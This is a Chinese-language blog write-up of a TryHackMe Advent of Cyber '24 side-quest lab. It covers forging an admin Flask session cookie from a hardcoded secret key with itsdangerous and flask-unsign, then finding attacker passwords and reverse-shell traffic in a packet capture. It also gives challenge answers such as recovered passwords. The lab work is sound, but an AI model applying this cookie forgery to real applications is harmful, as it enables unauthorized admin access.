0%

THM打靶日寄38-Advent of Cyber '24:支线T1丑陋复现

  • keycard

    通过看这道题第一次通过的时间判断出 keycard 藏在第一个房间里啊嗯

    回顾一下第一个房间:大概率在那个 C2 服务器里面: http://papash3ll.thm

    直接访问不了,那就经典加 hosts 访问,看到一个登陆框

    去搜下 title ,第一个就是:https://github.com/Bloatware-WarevilleTHM/C2-Server

    点进去看到是 flask 的,找到硬编码信息:

    1
    2
    3
    4
    app.secret_key = "@09JKD0934jd712?djD"

    ADMIN_USERNAME = "admin"
    ADMIN_PASSWORD = "securepassword" #CHANGE ME!!!

    可惜这个密码登不上去,考虑用 secret_key 伪造 cookie 直接登录:

    1
    2
    3
    4
    5
    6
    7
    from itsdangerous import URLSafeTimedSerializer

    secret_key = "@09JKD0934jd712?djD"
    serializer = URLSafeTimedSerializer(secret_key)
    session_data = {"logged_in": True, "username": "admin"}
    token = serializer.dumps(session_data)
    print(f"Cookie Value: {token}")

    卡在这里了,一直跳转回 login


    这里是分割线,等结束看了下wp,思路对的,在最后一步好像是犯病了

    flaskcookie 值名应该是 session ,以及他们用的都是 flask-unsign 来生成:

    1
    flask-unsign --sign -c "{'logged_in':True,'username':'admin'}" --secret "@09JKD0934jd712?djD"

    /data 中找到:

    password:vK5RMlvkGO3QiLU

  • 流量分析

    • 攻击者在网站上注册时使用的密码

      直接搜 password ,在一堆 html 之后找到 POST 发送到 register.php 的密码

      QU9DMjAyNHtUaW55X1R

    • 攻击者获取的密码

      继续向下搜找到 /admin/login.php 中提交的密码:

      pbnlfVGlueV9TaDNsbF

    • 攻击者传输的 zip 文件的密码

      file-export objects-http 里面看看传输的文件,但并没有 .zip

      那么从流量下手,过滤掉 2280 的流量,再忽略 nmap 的那堆东西,最下面找到 90019002 的流量,大概是反弹shell的端口

      9001 的经过加密了,没什么重要的

      而对于 9002 ,找到个压缩包,大概就是需要的

      raw 格式 save as 下来,发现确实有密码(